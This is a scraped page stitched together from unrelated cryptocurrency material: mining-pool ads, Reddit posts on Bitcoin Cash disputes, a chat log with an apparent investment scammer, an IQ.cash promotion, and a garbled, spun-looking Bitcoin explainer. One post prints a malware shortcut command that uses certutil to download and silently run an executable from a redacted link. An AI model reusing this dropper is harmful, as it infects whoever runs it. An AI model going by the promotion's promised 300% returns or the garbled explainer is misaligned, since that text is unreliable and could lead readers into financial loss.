9 Best Bitcoin Miner Software (July 2020)

wafflepool.com - An auto switching scrypt coin mining pool

WafflePool is a multi-coin (scrypt) mining pool. Point your miner to WafflePool with a Bitcoin address as your username, and we take care of automatically mining the most profitable coin at all times, converting the earnings from each coin into Bitcoins, and paying you out in bitcoins! Mining alt-coins and converting to bitcoin is very often orders of magnitude more valuable than mining Bitcoin directly! No registration, no hassles, just point and start getting paid!
[link]

NiceHash - buy & sell hashing power

NiceHash offers you to buy or sell hashing power directly, no contracts, no limitations, pay-as-you-go if you're a buyer and be-paid-as-you-go if you're a seller. Why bother renting rigs, when you can rent hashing power? NiceHash brings more to renters and rig owners. Visit https://www.nicehash.com today! Simply create order and you are already mining your favorite coin or point your rig to our stratum server and you are already earning bitcoins.
[link]

CoinSolver -- Profit Switching Scrypt Pool w/Nightly Bonus

CoinSovler is a new auto-switching scrypt coin mining pool that pays out directly in BitCoin. We're still in Beta, so suggestions and feedback are most welcome, and we have many features in the works. We intend for it to be dead simple to use, highly profitable and very transparent about the mining information.
[link]

Can't find Slush's Pool miner username or password for GUIMiner /r/Bitcoin

Can't find Slush's Pool miner username or password for GUIMiner /Bitcoin submitted by BitcoinAllBot to BitcoinAll [link] [comments]

Random idea: USL, but for Bitcoin addresses

This is my rough idea for a Bitcoin change that would allow for a bit more fraud protection. I might write up a BIP later if I get around to actually nailing it down.
For those unaware, the Universal Scammer List (USL) is a page dedicated to keeping track of the usernames of scammers on Reddit. Basically, if you want to conduct a transaction with someone on Reddit, you should first check if they're listed as a known scammer.
My idea is to do the same with Bitcoin addresses. A decentralised database of blacklisted addresses would be kept by anyone running a full node. Any funds in the blacklisted addresses are deemed worthless.
For example, address A gets listed for hacking into an exchange and stealing coins. Any funds held by address A would be deemed worthless. If they send 10 BTC to address B, then the network would remember that address B has 10 BTC that is worthless. If address B originally had 5 BTC and was sent 10 BTC by address A, they would have 15 BTC, but the bottom 10 BTC would be deemed worthless. If address B sends 2 BTC to address C, then C receives 2 good BTC and B is left with 3 good BTC and 10 blacklisted BTC, but if B sends another 4 BTC to address D, then D would receive 3 good BTC and 1 worthless BTC, and the network would now remember that D has 1 worthless Bitcoin. Therefore, before accepting the transaction as payment for something, they would have to check to make sure that they are not receiving worthless blacklisted coins.
Miners could also choose to selectively refuse to mine transactions involving blacklisted BTC because any miners' fees collected from such a transaction would be blacklisted as well. This could mean someone trying to send blacklisted BTC is essentially broadcasting a transaction with a 0 sat/byte fee rate, meaning their transaction would probably be stuck in the Mempool for quite a long time, if not forever if miners refuse to mine it.
Whenever someone wants an address blacklisted, they would announce it to the public via any mechanism, and anyone keeping a full node can decide whether or not to blacklist the address. Therefore, anyone who disagrees with the blacklisting is free to accept the coins at face value or mine them into a block. If you don't agree with the evidence presented, then you are free to not blacklist them. Therefore, contested coins would only be accepted as valid payment by those who think the coins should have never been blacklisted in the first place.
This system would not be meant to help every single person who gets scammed with Bitcoin, but it would discourage large scale wholesale Bitcoin fraud. It would be ridiculous to expect all full-node maintainers to become arbitrators of all disputes, and consensus would never be reached on half of the transactions being processed. Node operators would also ideally not have to remember as many transactions involving blacklisted coins because miners would refuse to mine them (transaction fees collected would be in blacklisted coins), meaning they'd be stuck in the Mempool for long periods of time, reducing the speed at which they can be moved around, if at all. So the ledger of blacklisted coins would not have to be updated extremely often. Blacklisting would only happen for really big scams involving tens or hundreds of Bitcoin, like if an exchange got hacked or something.
Scams have effectively less than an hour to be discovered. 10 minutes for the deposit into the address in question, and more, depending on how many block confirmations something must have before others will accept it for transactions sell goods for it. Therefore, if a merchant requires 3 block confirmations, then they would give 40 minutes for the address to be blacklisted. If the buyer's address is blacklisted before the transaction to the merchant gets 3 block confirmations, the merchant would realise they've been sent blacklisted coins and not ship the goods. 40 minutes isn't a lot of time, but it's better than nothing.
This has the additional effect of encouraging people to wait for more confirmations. For low-value transactions, the risk is nominal because even if you were sent worthless coins, you're probably only out the price of a coffee. But if you're selling a house, you might want to wait for even more block confirmations.
Money sent around too much could be deemed "too late to blacklist" if there is a risk that it would result in too many innocent people's Bitcoin getting blacklisted.
This system doesn't refund the Bitcoin of victims, so poor security practices would still be punished by a loss of coins, but criminals would not be rewarded for their efforts either. The lack of reward (or the risk of a lack of reward) would hopefully make people less inclined to try and pull off the type of big scams that are giving Bitcoin a bad reputation!
submitted by NateNate60 to Bitcoin [link] [comments]

A reminder that Bitcoin ABC pushes for centralization where other wallet implementations push for collaboration and progress

Bitcoin ABC is one of several "clients" that you can connect to the Bitcoin Cash network with. Bitcoin ABC is not Bitcoin Cash and should never be referred to as the "reference" implementation that other wallets adhere to or follow.
Further, Amaury Sechet, a Bitcoin ABC developer, does not believe in decentralized development. He showed this during the IFP attempt when he tried to add his own personal BCH wallet address directly into the protocol as the recipient of a percentage of mining rewards .
This is the most absurd and arrogant thing I've ever seen anyone in this space try to do. It's so clearly a conflict of interest and a tragedy of the commons that I can't even believe people still listen to a single word he has to say. He has no respect here from older community members. His vision is that of a centralized banking cartel rather than peer-to-peer electronic cash system.
BCHN was a reaction to the IFP to give miners a drop-in replacement that they could run to invalidate Amaury's hostile take-over attack. This was a community-driven effort to defend against this attack and luckily it worked. A total crisis was barely averted.
If Amaury keeps trying to make changes that nobody else wants, all that will happen is that more miners and users will stop running Bitcoin ABC. There will be no "split" because no real BCH miner would continue putting electricity and "work" into a chain that is controlled by one person.
We've known that Amaury has been anti-BCH for some time now. He has prevented changes that speed up validation and allow for more scaling -- without any technical explanation or merit. He has attacked other wallet developers in an attempt to get his own project at the "top" rather than foster healthy innovation and collaboration. He has minions pushing his ideas on social media platforms (or maybe he just has a ton of reddit usernames). Remind you of another group? Bitcoin Core and most likely some state-driven actor trying to harm peer-to-peer electronic cash.
Bottom line: The attacks on peer-to-peer electronic cash continue, both on the social front and from attackers like Amaury who wiggled their way into more important roles. Amaury cannot be trusted and users supporting peer-to-peer electronic cash should use any of the other much better performing wallets or mining clients.
submitted by Annapurna317 to btc [link] [comments]

Let's have a show of hands - Who supports the IFP (dev-tax)?

Or, more importantly, who is against it? It seems to me that almost the entire community is against this major change but it would be good if this is made clear in one place. It seems also that most of the people against this are well-known OG bitcoiners.
If you are against the current proposal as outlined by BitcoinABC HERE please make a top-level comment below (i.e. not a reply to another comment) stating:
Against IFP
If you run a BCH business, piece of infrastructure or project please add:
- from [INSERT PROJECT NAME]
I will add all names to a list below.
It is important to know this as this is what BCH is potentially set to lose should this go through. My hope is that if miners can see how much of the ecosystem is against this then they will reconsider.

Businesses, Infrastructure, Projects & Institutions

Developers

Individuals

submitted by singularity87 to btc [link] [comments]

SODL. It's been swell, but the swelling's gone down.

Those familiar with this username already know that I've been involved with Bitcoin since 2012. I purchased my first satoshi before $1k/BTC had ever been seen. I spent years creating developer solutions and electronic products designed to leverage Bitcoin's capability to facilitate frictionless Internet payments and that same time explaining Bitcoin to family, friends, internet buddies, fellow gamers, and anyone else that would listen.
Over time, that capability for frictionless payment dried up. First lack of space in blocks rendered the primary consumer solution I'd been developing as totally useless. There is no point in developing a risk assessment system when the thing being assessed is too risky to justify instant commerce. I feared Bitcoin had met an untimely end at the hands of self-important developers and lazy entitled miners, but was relieved to know that the BTCFORK project was alive and ready to continue the Bitcoin experiment in the form of what would later be called Bitcoin Cash (BCH).
When the fork hit, I was all in from day one. I traded out everything, forked my coins and recovered every satoshi of BCH I could muster. At one lofty point in my life, I had the rare claim to have actually possessed 21 BCH in the same wallet at the same time. I continued developing and introducing people to BCH. I explained to my family and friends the schism and the thought processes that lead me to use BCH instead of BTC. I spent countless hours justifying its existence to a general public that is uninterested in technical details or freedom from potential government seizures and simply want money that works.
Unfortunately, no crypto has never seemed to hold this goal in high esteem. As time has marched onward and progress has continued to be stymied by drama between more self-important developers and lazy entitled miners, I have finally realized why the Bitcoin experiment failed, and how we got here.
Bitcoin's design relies on one very important aspect: that miners behave as rational, long-term-invested economic actors. This would infer that over time, mining organizations will dedicate resources to developing in-house mining solutions and manage them with the same level of interest as a big box store manages their inventory. In short, it would make sense for miners to invest in their own closed-source development, based on the open-source reference client. This would create competition between compatible implementations maintained by groups that are self-invested in their interoperability and suitability for consumer use.
This did not happen, of course. Miners took the lazy, short-term-interested approach of "just run the software, don't care how it works or how well" and left the actual work of looking out for and maintaining the security of the chain to the unpaid open-source developers. This was a recipe for failure years ago and is the same recipe BCH has chosen to follow today. The IFP is simply a physical manifestation of this problem: since devs are not miners, Amaury et. al. are now expecting pay for their work in keeping those miners afloat, and rightly so. But they never should have been doing it in the first place; that was the miners' responsibility the whole time. If you're in an emergent industry running emergent software, you kind of have a responsibility to maintain that software out of pocket. This applies double for high-security software such as financial software. Lazy miners that can't even invest in their own software infrastructure are not trustworthy enough to be relied upon for the security of my funds.
Bitcoin has already failed; and with that clearly observable failure I have sold the remainder of my cryptocurrency, unsubscribed from this and other subreddits, removed various forum accounts, and ceased usage of any remaining services built to work with Bitcoin-style digital signatures. It's been a wild ride. I even made a nice chunk of money along the way. It was fun and fascinating and eye-opening and educational and profitable; but for me, it's over. The success of global peer-to-peer digital cash has already been thwarted, and that's all I ever came for.
Greg Maxwell didn't do this. Amaury Sechet didn't do this. Jihan Wu didn't do this. Roger Ver didn't do this. Theymos didn't do this. All those miners, all those mining pools, all those people that have been actively profiting off the system by running freely provided software and giving back only blocks in return: they are at fault for this failure. It is too late to turn back; the IFP is effectively a cork in a crumbling dam, a half-assed solution to a double-donkey problem. The dream is over, at least for me, and so I'll be moving on now.
The transition to crypto was troublesome and full of problems. I was on a 100% crypto budget for years and even found myself paying a premium for the "convenience". Funnily enough, the transition back to fiat was amazingly smooth and I actually made money on the way back. Sorry, guys - at the end of the day, fiat does what crypto doesn't.
I see the writing on the wall - and now I add my final scrawl. Goodbye, everyone.
submitted by chernobyl169 to btc [link] [comments]

Got owned by a malicious torrent, and want to understand how it works

hi folks,
recently I got really sloppy and ended up downloading a malware... it was supposed to be a Bojack Horseman Hentai (just kidding haha) , but happened to be a malware... the file itself was a shortcut with the following commands... after all, I ran in a VM, and it seems to be a bitcoin miner or something like that... but I want to understand each part of this shortcut, because it makes a lot and is actually small and apparently doesn't need any other file to trigger, but I have no knowledge on VB or windows scripting.. if you can help please...

shortcut:
%ComSpec% /c
echo CreateObject("Wscript.Shell").Run"""%ComSpec%"" /c del ""%USERNAME%.vbs""&certutil -urlcache
-f https://SOME_MALICIUS_LINK_HERE=berivel_%PROCESSOR_ARCHITECTURE% ""%USERNAME%.exe""
&&""%USERNAME%.exe""",0 >"%USERNAME%.vbs"&"%USERNAME%.vbs"
----------------------------------------------------------------------------------
I change the link there, but it actually had this line breaks in the text...Here is what I manage to understand the step by step: (please correct me if I'm wrong)
- %ComSpec% /c shortcut to CMD and /c to run what comes next
- echo ???? I don't get why echoing here...
- CreateObject("Wscript.Shell") probably creating a script, is it VB script?
- .Run probably running it..
-"""%ComSpec%"" /c run again the cmd, I don't get why, also don't get this many quotations marks
- del ""%USERNAME%.vbs"" deleting a vbs file named with the username, which didn't even exist before? where did it create it in the first place? once again, why double double quotes?
- &certutil -urlcache - this mess something with the certificates on the OS, right? what exactly does?
- -f https://SOME_MALICIUS_LINK_HERE=berivel_%PROCESSOR_ARCHITECTURE% ""%USERNAME%.exe"" this -f is a parameter for the previous command, what is it? and next is where I think the magic happens, I change the link because I don't know if it's safe.. and it passes the processor and a exe which was probably recently created as args... when did it create this process?
- &&""%USERNAME%.exe""",0 now I think it runs this recently created exe, again with the ""quotes"", and what about this ,0 ??
- >"%USERNAME%.vbs"&"%USERNAME%.vbs" I think this > is saving it to a file, but I got no clue about this trick of using & and itself again... what is happening there?
that is it! is that everything it needed to work, or did I probably miss some file? can someone help me to understand it better? a step by step would be very clarifying
submitted by danieldiast to MalwareResearch [link] [comments]

TradeOptionGains bitcoin site?

Got this weird DM on reddit idk what this guy is up to have any of you ever heard of this https://tradeoptiongains.com Site?
u/mikerobin25

Mikerobin2501:52 AM
Hello there
IDEKMyUsername09:34 AM
Howdy
Mikerobin2509:47 AM
How's it going?
IDEKMyUsername12:13 PM
Not bad.
What's up
Mikerobin2512:36 PM
I'm doing quite alright, How about you?
IDEKMyUsername12:53 PM
Not bad
Mikerobin2501:39 PM
Well, I don't mean to intrude but are you familiar with the term "cryptocurrency", Bitcoin to be precise?
IDEKMyUsername03:10 PM
Yes
Aye
Mikerobin2503:25 PM
Well, I'm at the moment engaging in an outreach aimed at expanding the clientele of my platform and enlightening the populace on the monetary potential of bitcoin trading and mining. Would you be interested in this?
IDEKMyUsername03:26 PM
Uh yeah sure I can look into it.
What does it include?
Mikerobin2503:28 PM
Are you familiar with the term "Bitcoin trading"?
IDEKMyUsername03:29 PM
Yeah somewhat
Like selling and buying it?
Mikerobin2503:33 PM
Well, Bitcoin trading is the process of making profits by buying Bitcoin at a low cost and selling it when the price goes up, This method is referred to as Dollar Cost Averaging(DCA). The Bitcoin trade is volatile, and price move by a significant margin. This activity is done on trading platforms.
Are you following?
IDEKMyUsername04:07 PM
Yep gotcha so far
Sorry had to pickup a call
Mikerobin2506:51 PM
No problem mate. Every platform has an investment procedure and ROI method. Unlike other platforms that engage in day trading (profiting from the volatility of bitcoin which is inefficient), My platform is registered with S9 ant miners that mine the bitcoin you invest to increase exponentially and that’s how you earn profits.
Have you heard of the term "Bitcoin mining"?
IDEKMyUsername06:52 PM
Yes I have
Mikerobin2506:57 PM
Good. For clarification, Bitcoin mining primarily involves generating and earning off the confirmation of blocks of transaction on the network such as the Blockchain network.
This is made possible with the use of special and sophisticated devices called the Bit main devices, Such as the AntMiner S9 and ASIC hardware. These devices are extremely expensive to maintain and require a lot of electricity generation and technical expertise which makes it rarely an option for private individuals who are interested in going into Bitcoin mining. But my platform has been able to provide for this disability.
Are you following?
IDEKMyUsername06:57 PM
I feel ya
Yes
Mikerobin2507:01 PM
Moving on, My platform operates a full S9 Antminer farm. The Antminer s9 has a hash rate of 12.93TH/s which is -+ 7%, Which could generate a ROI of 0.5 BTC within an investment period depending on the investment capital. Note: ROI stands for return of investment while hash rates a measure of how many times the network can attempt to complete this puzzle every second. This means that hash rate is a good indicator of the Bitcoin network's health.
Do i still have your attention?
IDEKMyUsername07:02 PM
Yes
Mikerobin2507:05 PM
Finally, All investments are made and monitored by the client (you) on the platform's website as you earn profits daily and you can contact me a "Broker" on the platform whenever you need assistance or more information.
https://tradeoptiongains.com
IDEKMyUsername07:05 PM
Hm
U have a history of wise investments?
I mean don't really know you so not like your a "professional" of any means
Mikerobin2507:06 PM
Certainly
We've been running for a span of 4 years now with optimum services provided
IDEKMyUsername07:38 PM
oh wow
gimmie some more deets?
how much money would I expect if i put a quick g bar in?
IDEKMyUsername07:53 PM
hm?
Mikerobin2507:54 PM
An investment of $1000 amounts up to the standard ROI stated above which is 50% of 1 bitcoin.
Apologies for the late reply, Was attending to a client of mine.
IDEKMyUsername07:55 PM
so invest of about $1000 would give ruffly 5?
nah ur good fam
like how I go about that tho u know
cause isn't bitcoin like kind of high right now?
Mikerobin2507:57 PM
Yeah though it would have been more profitable if you had started earlier when it was cheaper but you should be expecting more returns due to the halving coming up.
https://www.bitcoinblockhalf.com/
IDEKMyUsername07:58 PM
how high you think its going to get?
Mikerobin2507:59 PM
Its a highly speculative asset but from my experience and following it's previous halving events, Probably 15-18k.
IDEKMyUsername08:01 PM
oh jeez thats like as big as the big boom right?
how you know its gonna do that?
and what if it doesn't lol?
do I just l;ose it all
Mikerobin2508:05 PM
Exactly. If it doesn't, It would remain at its breaking point of 9k or peak point of 10k but i highly doubt it doesn't pump(rise) based on past halving events. You can simply get started by creating your personal account on the platform by which you can start by purchasing bitcoin and you can do this by clicking on the "Register" icon to get started.
IDEKMyUsername08:05 PM
hmmm idk
Kinda need some more security u know what I mean?
Mikerobin2508:08 PM
I understand. Loses are only made when you sell off, You money remains intact whether it rises or falls as long as you don't sell but your ROI is fully attained on your account on the platform.
IDEKMyUsername08:09 PM
o
Mikerobin2508:10 PM
Indeed
Mikerobin2508:20 PM
Any more questions?
IDEKMyUsername08:20 PM
uhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
no
Mikerobin2508:22 PM
Okay then, I'm available here if you're interested and need my assistance
Enjoy the rest of your day.
IDEKMyUsername08:25 PM
o
ok
Yesterday
Mikerobin2501:48 PM
https://www.fxstreet.com/cryptocurrencies/news/breaking-bitcoin-price-takes-down-9-000-as-10-000-beckons-202004300334
https://www.independent.co.uk/life-style/gadgets-and-tech/news/bitcoin-price-gold-oil-2020-best-performing-assets-a9492641.html
IDEKMyUsername01:51 PM
O
I bought it
Mikerobin2501:51 PM
Pardon?
IDEKMyUsername01:52 PM
I bought one
Mikerobin2501:52 PM
On what platform?
IDEKMyUsername01:54 PM
I'm idk the one u sent me
Um*
Mikerobin2501:55 PM
Really? When did you do this and why wasn't i informed?
Today
IDEKMyUsername10:19 AM
Oh like last last night
I thought it was expected
U sent me the link and everything
;(
Mikerobin2510:22 AM
You would have informed me so i can enlighten you more on the procedure. Are you aware that it's a mining platform and you earn profits as an investor?
IDEKMyUsername10:23 AM
Yah so what would profit be ya reckon?
For let's say $1000 over liek a year
Mikerobin2510:24 AM
What name did you use in registering the account?
IDEKMyUsername10:24 AM
Uh I'd have to look it up
But how much profit did u say it would be about?
Mikerobin2510:27 AM
0.5 BTC a month depending on your investment capital that is, I would need the name of your account to register it under my personal database so i can provide you with information and assistance when needed.
IDEKMyUsername10:28 AM
O damn that's some big bucks right there
.5 btc like what 4g?
4 times 11 that's $44,000 a month
Mikerobin2510:30 AM
How much did you invest and what is the name of your account?
Your profit is calculated in respect of your investment capital
IDEKMyUsername10:31 AM
Like 11grand
Mikerobin2510:31 AM
And the name?
IDEKMyUsername10:31 AM
Mmmm
How do I find it?
Is there a way on the site
Mikerobin2510:31 AM
What name did you use in creating the account?
Didn't you register?
IDEKMyUsername10:32 AM
Oh like my irl name
I thought u meant like a username
Mikerobin2510:32 AM
Username is what i mean
IDEKMyUsername10:33 AM
It's gonna be under Jeffery Henderson
Jeffery L. Henderson
Mikerobin2510:35 AM
Okay, Give me a second to record it and ascertain your expected profit.
IDEKMyUsername10:35 AM
Sick
Did u find my account?
Mikerobin2510:41 AM
I can't find your records on the platform, Maybe a technical difficulty. Could you please sign in and send me a screenshot of your funds deposited through discord please?
IDEKMyUsername10:41 AM
So tell me mike
Where's the cash?
Mikerobin2510:41 AM
Pardon?
IDEKMyUsername10:41 AM
You lost it, oh you misplaced it.
Now mike you know I don't like to be lied to right?
Mikerobin2510:43 AM
Since i can't find your account on the platform, I guess that's the ending of our conversation.
Good day.
IDEKMyUsername10:43 AM
So why
THE FUCK
ARE YOU LIEING TO ME
Mikerobin2510:44 AM
Prove that you have an account on the platform by sending a screenshot
IDEKMyUsername10:44 AM
I cannot
I did it on
Computer
Mikerobin2510:45 AM
The sign in through your phone, Do i seem like a fool to you?
I have a lot of clients to attend to and i don't have time for games
IDEKMyUsername10:45 AM
I ain't the I one that took another man's money and now can't find it
You don't have other clients
Let's not play games here
How do I get my money out of this depreciating asset?
You better help me get my money out of this or were going to have a major issue
Mike...
IDEKMyUsername11:16 AM
U serious rn bro?
Ur gonna scam me out of my 💰
?
A day will come when you think yourself safe and happy,.
But suddenly your joy will turn to ashes in your mouth.
and you'll know the debt is paid
IDEKMyUsername08:01 PM
Br
You still my 11 grand
Stole
What's your name
Tell me
Or I'll find you
submitted by IDEKMyUsername to Scams [link] [comments]

IQ.cash smart trading and mining

IQ.cash smart trading and mining
https://preview.redd.it/z0xjotzxta451.png?width=724&format=png&auto=webp&s=a0c223a017dd58aa54d506e51d041f5820db4a3b
Everyone from time to time has an interest in entering into a variety of investments with the aim of earning income from their home or comfort as long as they do not have to go through an inefficient employment system. This is the result of technological developments around, and to achieve this, many fall victim to con artists who promise a platform to get a comfortable income. Today I will introduce the ICO IQ cash project, one of the PLATFORM THAT ALLOWS YOU TO GET IN YOUR COMFORT.

What is IQ cash

IQ Cash is a cryptocurrency that may be used to run and increase further exposure to what has been offered. Making it is to remove from where to stop because it has been made and decided to go further because it was not possible. IQ can be used to get a place that has to be part of this trend, even if we are looking for an open place where investors can do the same with other investors. The aim is to give everyone not agreement about most and at least ROI in 300% or more of you in passive form. The IQCash company is truly unique because it will allow users to get the maximum return on investment. IQ cash is a company that will be able to combine the best and most perfect opportunities to lead exchanges in the cryptocurrency market. With IQ network Masternode you can avoid a variety of situations, problems, and unusual problems, and such a process will eliminate any deficiencies. The IQCash platform is also suitable for traders who already have experience in their activities, and of course for novice traders who have just entered the door of buying and selling crypto. No one will experience problems, everyone will only admire sales using IQCash. Learn more — http://iq.cash.

Why I chose to take a position on IQ. Cash?

Because there are many kinds of benefits for investors. except for profits up to 300%, I will be able to introduce all profits to investors. 1. Security Cryptocurrency now has a variant of active users in the world and also the number is growing rapidly! User accounts cannot be blocked, and funds cannot be accessed by anyone but the owner. 2.MASTERNODE Iq. Cash uses the consensus of the PoW algorithm with the support of the Masternode system. This makes the project economically attractive to mine 43% and provides 57% of passive income for Masternode holders. Masternode provides network integrity, transaction anonymity, and transaction speed. ways to get Masternode: You must take the position of 3000 IQ. 3. ANONIMITY The anonymity of transactions in the system is provided by the PrivateSend algorithm. Users can trust the system completely. they don’t need to worry about third-party access to data because the system encrypts data securely when transferring and receiving assets. 4. ASIC RESISTANCE Technology that solves problems accelerates the expansion of network complexity significantly when using ASIC (compared to CPU usage). IQ Cash Network uses the NeoScrypt algorithm to solve this problem. 5. TRANSACTION speed High-speed transactions are guaranteed by InstantSend data exchange across networks. The transaction time is about 5 seconds. 6. IQ Network decentralized. Cash implies weaknesses to create sites that combine the dominant influence on other network members. Effects on coins that are excluded due to their release are prohibited, and extra emission is not provided.

How to get an annual profit of 300%.


https://preview.redd.it/updhrmtzta451.png?width=793&format=png&auto=webp&s=eccc7d14b5d2e479f5d1ed2de84d14bfc72b0742
  1. Buy 3,000 IQ or better 3001 because 1 is spent on commission transactions.
  2. Download the Files application (Android or iOS) for mobile devices Open IQ. Cash Coin Purses in the application.
  3. Enter 3,001 IQ in the wallet and create a MasterNode server and deposit. Pay for hosting service providers on Flits.
  4. You will be charged EUR 1.99 per month, get profit and spend on your needs or create the next MasterNode to extend profits in line with the number of MasterNode!

How do I buy cash IQ

Go to the acquisition page and you will see an open window where you will pay the amount of coins you want to shop for. You don’t need to worry about the next steps because we will arrange the rest by buying IQ coins. Cash and FLS (to close Flits services) from the exchange.
  1. Fill in «IQ wallet address» and «FLS wallet address» in the Flits application.
  2. get a package. One package includes 3000 IQ. Cash and Bitcoin services for Flits for five months. When the cash transfer is complete, open the IQ-MasterNode window and make it comparable to the coins purchased (3000 IQ for 1 MasterNode).
  3. activate MasterNode and get profit. You will follow the current exchange rate on the Flits application or with any crypto trading coins.

Wallets and Exchanges:

The IQ cryptocurrency wallet is available on all three Windows, Mac and Linux platforms.

Token Information:

• Algorithm: PoW, NeoScrypt (ASIC resistance) • Block time: 120 seconds • Prizes per block: 25 IQ • Block Block Reward Distribution: 57% to Masternodes and 43% to Miners, both taken from the formula (Reward-6%), where 6% is reserved for the DAO system • Block rewards can be sliced 12% every year • Max coins: 56 900,000 IQ • Premine: 7 900 000 IQ • Mining within 25 years

Conclusion

IQ.cash has studied the crypto market well enough to draw the model. This uses the mining system and MasterNode. The mining protocol will attract contributors exponentially while MasterNode will help ensure network speed, governance, and sustainability. Because MasterNode is also a cryptocurrency node, becoming a MasterNode on the IQ.cash system requires an investment commitment. This is a way to make a profit in this system. Investment is rewarded with a commission for each trade made by the system. This will help ensure that enough users try to become a MasterNode and thus make a profit without having to leave the comfort of their home.

FOR MORE INFORMATION ABOUT IQ.CASH:

Website: https://iq.cash/ Whitepaper: https://iq.cash/iqcash_whitepaper.pdf Telegram: https://t.me/IQ_cash Twitter: https://twitter.com/IQ_Crypto Bitcointalk: https://bitcointalk.org/index.php?topic=4360591 YouTube: https://www.youtube.com/finexpo Github: https://github.com/IQ-Cash/iqcash/releases Disputes: https://discord.gg/qekuX6r Ann Thread: https://bitcointalk.org/index.php?topic=5240221.0 Explorer: https://explorer.iq.cash Mining Pool: https://pool.iq.cash Bithumb Contest: https://support.bithumb.pro/hc/ru/articles/360046055014--Event-100-000-IQ-Grand-Prize-Pool
Username : faxmon Link : https://bitcointalk.org/index.php?action=profile;u=173709
I.Q cash wallet : QU5m19f7AVY99cMVzU2CYLoAV15FRMxuLY
submitted by kriptaannarhist to u/kriptaannarhist [link] [comments]

A Brief History of BitCoin

A Brief History of BitCoin


What is Bitcoin? | How It Work?

A Brief History of BitCoin

The virtual currency was intended to develop peer-to-peer transactions; it doesn’t need a go-between, the exchange of private information, or transaction fees.

What is Bitcoin?

Bitcoin is virtual money or cryptocurrency, that’s measured by a decentralized network of operators and isn’t straight subject to the impulses of central banking decisions or national governments. There are hundreds of cryptocurrencies in lively use today, Bitcoin is through far the most general and widely used – the nearby cryptocurrency equal to traditional, state-minted coins.

How Bitcoin Works

Bitcoin is a cryptocurrency since it’s supported by source code that customs highly composite procedures to prevent illegal duplication or creation of Bitcoin elements. The code’s fundamental principles, known as cryptography, are based on innovative scientific and computer engineering values. It’s practically impossible to stop Bitcoin’s source code and operate the currency’s supply.
Though it was headed by other virtual coins, Bitcoin is identified as the first modern cryptocurrency. That’s since Bitcoin is the initial to blend some key structures shared by most after created cryptocurrencies.

User Anonymity

Intense privacy safeties are seared into Bitcoin’s source code. The method is intended to openly record Bitcoin dealings and other related data without revealing the individuality of the groups involved. As a substitute, Bitcoin users are recognized by public keys or numerical codes that find them to additional users, and occasionally pseudonymous handles or usernames.

Bitcoin Exchanges

Bitcoin exchanges permit users to change Bitcoin parts for authorization currencies, such as the U.S. dollar and euro, at flexible exchange charges. Many Bitcoin relations also exchange Bitcoin components for other cryptocurrencies, with less popular substitutes that can’t straight be replaced for fiat coins. Most Bitcoin exchanges take a cut, naturally less than 1%, of each deal’s value.
Bitcoin exchanges certify that the Bitcoin market leftovers liquid, set their value qualified to traditional money – and allowing pouches to profit from the assumption on variations in that value.

BlockChain

Bitcoin’s blockchain is dynamic to its function. The blockchain is a public, spread record of all prior Bitcoin communications, which are kept in collections known as blocks. Each node of Bitcoin’s network – the server farms and positions, run by individuals or sets known as miners, whose hard work to produce new Bitcoin elements product in the recording and verification of Bitcoin dealings, and the episodic creation of new blocks – holds an identical record of Bitcoin’s blockchain.
Private Keys
Every Bitcoin handler has at smallest one private key, which is an entire number between 1 and 78 numbers in length. Separate users can have many unnamed handles, each with its private key. Private keys approve their owners’ characters and permit them to occupy or receive Bitcoin. Without them, handlers can’t whole transactions – they can’t access their properties until they improve the matching key. When a key is misplaced for good, the matching holdings change into a sort of everlasting limbo and can’t be improved.

Wallets

Real Bitcoin units are kept in “wallets” – secure cloud storing locations with superior information approving their owners (Bitcoin users) as the protectors of the Bitcoin units controlled within. However wallets like Coinbase, in theory, defend against the stealing of Bitcoin elements that aren’t currently being used, they’re exposed to hacking – mainly public wallets used by Bitcoin connections, online marketplaces, and specific websites that occur exclusively to store Bitcoin wallets known as “wallet services.”
Miners
Miners play an important role in the Bitcoin environment. As guards of the blockchain, they save the entire Bitcoin community truthful and indirectly provide the currency’s value. Miners are entities or cooperative governments with access to influential computers, often kept at remote, secretly owned “farms.” They do incredibly complex scientific tasks to new Bitcoin, which they then keep or change for fiat currency.

Modes of Bitcoin

  • Theft Private Keys.
  • Misusing Wallet Vulnerabilities
  • Functioning Fraudulent Exchanges and Savings Funds.
  • Attacking Authentic Exchanges Directly.
  • Aggressive Dark Web Marketplaces.

How to Get Bitcoin

There are three key ways people get Bitcoins.
  • You can purchase Bitcoins using ‘real’ money.
  • You can retail things and let persons pay with Bitcoins.
  • Developed using a computer.

Advantages of Using Bitcoin

  • Better Fluidity Comparative to Other currencies
  • Increasing the payment method
  • Worldwide Transactions Easier Than Even Currencies
  • Usually Lower Transaction Charges
  • Secrecy and Privacy Relative to Old Currencies
  • Individuality from Politically aware Agents and Creators
  • In-built Shortage

Disadvantages of Using Bitcoin

  • Exposure to Bitcoin-specific Tricks and Fraud
  • Black Market Motion May Damage Repute and Usefulness
  • Vulnerable to High Price Instability
  • No Chargebacks or Repayments
  • Possible to Be Replaced by Greater Cryptocurrency
  • Environmental Ills of Bitcoin Mining
submitted by Satawareus to u/Satawareus [link] [comments]

We must become organised to stop a corruption of the BCH protocol

Yesterday BitcoinABC released version 0.21 of their client. In this release a consensus rule is included that requires all BCH miners to pay 5% of their block subsidy and 5% of the fees they receive to a set of up to 4 BCH addresses. These addresses are controlled by:
This significant change in the protocol is to be activated using a BIP9 method. It will activate when at least 66% of 2016 blocks are produced by miners running their new release. There is no end date for the tax once it has been activated, so it will go on indefinitely unless manually removed with another hardfork.
This is occurring in the context of an almost unanimous opposition by the BCH ecosystem of businesses, miners, projects and users. This is something that they are fully aware of and have decided to ignore and push ahead anyway.
While it is of course true that the community needs to make sure there is sufficient funding for the projects within the BCH ecosystem that deserve it, and that the funding is provided voluntarily, there are currently numerous efforts under way to create software that makes this as simple as possible. For example, Flipstarter, U-DID, , and pool Donations. There is also a significant amount of will in the community to provide funding if sensible and concrete proposals are put forward.
This change is not only a fundamental change to the properties of Bitcoin as described in the original whitepaper, but has the high likelihood of causing a major split if the entire ecosystem does not work towards stopping it from happening.
Many of us are now organising an effort to oppose this fundamental change. We need as much of the ecosystem as possible to put their effort into stopping this if you don't want this to happen, so please join us at:

t.me/notaxBCH

In the interest of showing again just how much of the ecosystem is against this change I have added the list again below.

Businesses, Infrastructure, Projects & Institutions

Developers

Individuals

submitted by singularity87 to btc [link] [comments]

Pi Network! This golden project is an opportunity.

  1. What is Pi Network?
